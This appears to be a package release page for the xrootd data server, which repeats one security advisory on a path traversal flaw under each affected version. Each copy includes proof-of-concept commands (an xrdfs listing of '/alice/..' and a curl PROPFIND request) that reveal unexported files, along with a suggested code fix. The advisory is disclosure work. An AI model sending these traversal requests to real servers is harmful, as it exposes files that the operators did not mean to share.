xrootd

Version	Released
`6.2.1` patch	Oct 29, 2026
`5.9.9` patch	Oct 29, 2026
`6.2.0` minor	Sep 29, 2026
`5.9.8` patch	Sep 25, 2026
`6.1.1` patch	Aug 11, 2026
`5.9.7` patch	Aug 07, 2026
`6.1.0` minor	Jun 20, 2026
`5.9.6` patch	Jun 20, 2026
`6.0.3` patch	Jun 01, 2026
`5.9.5` patch	May 29, 2026
`6.0.2` patch	May 19, 2026
`5.9.4` patch	May 18, 2026
`6.0.1` patch	May 05, 2026
`5.9.3` patch	May 05, 2026
`6.0.0` major	Apr 09, 2026
`5.9.2` patch	Mar 27, 2026
`5.9.1` patch 1 CVE	Nov 17, 2025
`5.9.0` minor 1 CVE	Oct 10, 2025
`5.8.4` patch 1 CVE	Jul 10, 2025
`5.8.3` patch 1 CVE	Jun 05, 2025
`5.8.2` patch 1 CVE	May 08, 2025
`5.8.1` patch 1 CVE	Apr 15, 2025
`5.8.0` minor 1 CVE	Mar 21, 2025
`5.7.3` patch 1 CVE	Jan 28, 2025
`5.7.2` patch 1 CVE	Nov 29, 2024
`5.7.1` patch 1 CVE	Sep 04, 2024
`5.7.0` minor 1 CVE	Jul 01, 2024
`5.6.9` patch 1 CVE	Mar 08, 2024
`5.6.8` patch 1 CVE	Feb 23, 2024
`5.6.7` patch 1 CVE	Feb 06, 2024
`5.6.6` patch 1 CVE	Jan 25, 2024
`5.6.5` patch 1 CVE	Jan 23, 2024
`5.6.4` patch 1 CVE	Dec 11, 2023
`5.6.3` patch 1 CVE	Oct 27, 2023
`5.6.2` patch 1 CVE	Sep 15, 2023
`5.6.1` patch 1 CVE	Jul 11, 2023
`5.6.0` minor 1 CVE	Jun 30, 2023
`5.5.5` patch 1 CVE	May 08, 2023
`5.5.4` patch 1 CVE	Mar 24, 2023
`5.5.3` patch 1 CVE	Feb 17, 2023
`5.5.2` patch 1 CVE	Feb 07, 2023
`5.5.1` patch 1 CVE	Oct 19, 2022
`5.5.0` minor 1 CVE	Aug 26, 2022
`5.4.3` patch 1 CVE	Jun 09, 2022
`5.4.2` patch 1 CVE	Mar 02, 2022
`5.4.1` patch 1 CVE	Feb 23, 2022
`5.4.0` minor 1 CVE	Dec 10, 2021
`5.3.4` patch 1 CVE	Nov 29, 2021
`4.12.7` patch 1 CVE	Nov 25, 2021
`5.3.3` patch 1 CVE	Nov 15, 2021

6.2.1 patch

Oct 29, 2026

5.9.9 patch

Oct 29, 2026

6.2.0 minor

Sep 29, 2026

5.9.8 patch

Sep 25, 2026

6.1.1 patch

Aug 11, 2026

5.9.7 patch

Aug 07, 2026

6.1.0 minor

Jun 20, 2026

5.9.6 patch

Jun 20, 2026

6.0.3 patch

Jun 01, 2026

5.9.5 patch

May 29, 2026

6.0.2 patch

May 19, 2026

5.9.4 patch

May 18, 2026

6.0.1 patch

May 05, 2026

5.9.3 patch

May 05, 2026

6.0.0 major

Apr 09, 2026

5.9.2 patch

Mar 27, 2026

5.9.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Nov 17, 2025

5.9.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Oct 10, 2025

5.8.4 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jul 10, 2025

5.8.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Jun 05, 2025

5.8.2 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

May 08, 2025

5.8.1 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Apr 15, 2025

5.8.0 minor

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.2


            5.7.3


            5.8.0


            5.8.1


            5.8.2


            5.8.3


            5.8.4


            5.9.0


            5.9.1

Fixed in


          5.9.2

References

Updated Apr 10, 2026 · Source: OSV.dev

Mar 21, 2025

5.7.3 patch

1 CVE

GHSA-vj8v-p5vw-m6v5 Apr 10, 2026

xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending /.. (specifically without trailing slash) to an exported path in xrdfs ls or HTTP PROPFIND requests.

This bypass ignores the all.export restriction.

Affected component

src/XrdXrootd/XrdXrootdXeq.cc, and more precisely the functions rpCheck() and Squash() used in do_Dirlist() (link), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

PoC

Configuration

Configuration file:

xrd.port 1094

# Exposing only /alice/
oss.localroot /srv/xrootd/data/
all.export /alice/

# HTTP
xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring
all.adminpath /var/spool/xrootd
all.pidpath /var/run/xrootd

Filesystem layout on the server:

/srv/xrootd/data/
├── alice/       ← only exported directory
├── bob/         ← not exported
└── secret.txt   ← not exported

Starting the server: xrootd -c /etc/xrootd/xrootd.cfg

Steps to reproduce

Normal behavior (access outside export is denied):

$ xrdfs root://<xrootd-server> ls /
[ERROR] Server responded with an error: [3010] Stating path '/' is disallowed.

Bypass via trailing ..:

$ xrdfs root://<xrootd-server>ls /alice/..
/alice/../alice
/alice/../bob
/alice/../secret.txt

Also exploitable via HTTP PROPFIND:

curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \
  --path-as-is \
  -H "Depth: 1"

Returns HTTP 200 with full listing of the parent directory, including unexported entries (bob/, secret.txt).

However, file download via this path traversal is blocked:

$ xrdcp root://<xrootd-server>/alice/../secret.txt .
[0B/0B][100%][==================================================][0B/s]  
Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source)

Impact

An attacker can enumerate directories and filenames outside the authorized export scope defined by all.export. In the example above, a server exporting only /alice/ leaks the existence of /bob/ and secret.txt located in the parent directory (oss.localroot).

File download is not possible through this vector, as xrdcp correctly rejects the path with error 3010. The impact seems therefore limited to information disclosure (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

Suggested fix

In rpCheck() (src/XrdXrootd/XrdXrootdXeq.cc), change:

// Before
if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After
if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1;

Affected versions


          4.10.0


          4.11.0


          4.11.1


          4.11.2


          4.11.3


          4.12.0


          4.12.2


          4.12.3


          4.12.4


          4.12.5


          4.12.6


          4.12.7

+ 46 more


            4.8.4


            4.8.5


            4.9.0


            4.9.1


            5.0.0


            5.0.1


            5.0.2


            5.0.3


            5.1.1


            5.2.0


            5.3.0


            5.3.1


            5.3.2


            5.3.3


            5.3.4


            5.4.0


            5.4.1


            5.4.2


            5.4.3


            5.5.0


            5.5.1


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.6.0


            5.6.1


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


